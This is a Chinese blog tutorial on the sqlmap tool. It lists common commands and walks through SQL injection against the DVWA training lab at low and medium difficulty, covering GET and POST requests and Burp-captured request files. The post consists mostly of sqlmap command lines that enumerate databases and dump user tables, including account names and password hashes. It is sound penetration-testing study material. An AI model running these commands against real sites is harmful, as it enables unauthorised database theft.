sqlmap的常用命令和对dvwa的初,中级sql注入测试

本文详细介绍了如何使用sqlmap工具针对Web应用进行SQL注入测试,涉及GET和POST提交方法,包括检测注入点、获取数据库信息、表结构以及数据内容的提取,以DVWA实例演示了整个过程。
摘要由CSDN通过智能技术生成

                                                                                                          有用户登录就要有cookie值

GET提交方法:(sqlmap -u ‘URL‘ )或后需加cookie  

                                                 (sqlmap -u "http://www.xx.com?id=x" --cookie "cookie"

1.   sqlmap -u  "http://www.xx.com?id=x"    【查询是否存在注入点

2.     --dbs         【检测站点包含哪些数据库

3.     --current-db    【获取当前的数据库名

4.     -D "db_name" --tables  【获取指定数据库中的表名 -D后接指定的数据库名称

5.     -D "db_name" -T "table_name"   --columns【获取数据库表中的字段

6.     -D "db_name"  -T "table_name" -C "columns_name" --dump 【获取字段的数据内容

二.POST提交方法

方法一,用sqlmap -u ‘www.xx.com/login.asp --data "username=1"

因为post提交URL中没有显示提交参数  所以要- -data “提交的参数值”

方法二,用sqlmap -r .txt

(1)目标地址http:// www.xxx.com /login.asp

(2)打开brup代理。

(3)点击表单提交

(4)burp获取拦截信息(post)

(5)右键保存文件(.txt)到指定目录下

(6)运行sqlmap并执行如下命令:

用例:sqlmap -r 111.txt 

核心就是要用{-D "db_name"  -T "table_name" -C "columns_name" --dump 【获取字段的数据内容】}获取数据

常用指令:

1.     --tables      【获取表名

2.     --dbs         【检测站点包含哪些数据库

3.     - -columns      【获取表中的所有库

4.     - -dump       【最终导出数据

5.     --current-db    【获取当前的数据库名

6.     --current-user  【检测当前用户

7.     --is-dba   【判断站点的当前用户是否为数据库管理员

8.     --batch      【默认确认,不询问你是否输入

9.     –level       执行测试的等级(1-5,默认为1level等级变化,sqlmap采用的payload也会有变化

三.测试GET提交方法

DVWA初级  

1.打开Kali的sqlmap,输入sqlmap -v可以看到它已经kali自带安装有了。

2.注入探测

测试指令:

sqlmap -u "[目标注入点]"

我们可以看到它爆出了有SQL注入漏洞,而且可以探测到数据库是mysql ,但因为缺少cookie,当我们想探测它的数据库内容的时候,则会要求我们做验证,因为我们的DVWA是需要登录的。

3.登录探测

这时候我们知道DVWA账户密码,并且已经登录了,那我们就要把我们已经登录授权给到sqlmap。

(1)在浏览器登录DVWA并转到我们的测试界面后,按F12键打开火狐的开发者模式,找到Network。

点击重新加载页面,选择第一个数据包,找到cookie值。

(2)将cookie值复制下来,进行登录探测,检测指令:

sqlmap -u "[目标注入点]" --cookie="[站点cookie]"

4.获取所有数据库名

探测出有注入点,又有了登录授权,我们可以开始探测数据库里面的内容了。获取数据库名:

sqlmap -u "[目标注入点]" --cookie="[站点cookie]" --dbs

可以看到列出了5个数据库的名称。

5.获取指定数据库中表名

我们可以看看dvwa数据库里面有哪些表。获取指定数据库表名:

sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D dvwa--tables

可以看到有一个guestbook表、一个users表。

6.获取指定表中的所有数据

看到用户列表,我们自然是要看一下的。可以直接查看用户表所有数据:

sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D dvwa -T users  --dump

我们可以看到它列出了dvwa数据库users表里所有的数据,包括账户名和加密存储的账户密码。

7.获取指定表中列名

如果遇到数据比较多的表全部列举出来会显示很乱,我们可以先获取表中的列名。

sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D dvwa -T users --columns

8.获取指定列数据

我们知道列名之后就可以查询指定列的数据,命令:

sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D dvwa -T users -C user,password --dump

我们这里查询账户名和密码,由于mysql数据库对密码字段做了哈希,命令执行过程中会询问你是否进行解析,我这里选了yes。

这样我们就完成了一次使用sqlmap对dvwa简单级别的的sql注入测试,成功拿到了dvwa的所有账户名和密码。

四.测试POST提交方式

方法一  sqlmap -u "[目标注入点]" --data "[request]"

DVWA中级

上面我们对初级做了测试,现在我们试一下对中级难度的DVWA是否同样可以进行注入呢。

1.调整靶场难度等级为中级。

2.确定注入点

我们可以看到难度调整为中级之后,数据请求方式由初级使用的get方式变成了post,查询输入接口由手动输入变成了选择方式,且在url不会直接显示我们的查询请求。

  1. 这时候我们如果依然采用像初级一样的执行语句无法查询到任何注入点。

它会告诉我们缺少请求输入字段数据。

4.我们可以发现相比于初级,网站查询时所给出的url缺少了“id=1&Submit=Submit”字段,这一字段不显示在url里而是包含在请求数据包里。

5.我们将request字段加入我们的测试语句中:

sqlmap -u "[目标注入点]" --data "[request]"  --cookie="[站点cookie]"

6.查询账户名、密码,测试语句:

sqlmap -u "[目标注入点]" --data "[request]"  --cookie="[站点cookie]" -D dvwa -Tusers -C user,password --dump

测试POST提交方式

方法二 sqlmap -r .txt  -D 【库名】 -T【表名】-C【字段名】--dump  获取数据

例如index.php

  1. 目标地址http://192.168.0.5/ctf/index.html

  1. 打开brup代理。

  1. 点击表单提交

  1. burp获取拦截信息(post)

  1. 右键保存文件(.txt)到指定目录下

复制HTTP请求报文创建成111.txt文件

  1. 运行sqlmap并执行如下命令:

用例:sqlmap -r 111.txt 

这就是POST提交方式中第二种测试方法

  • 23
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值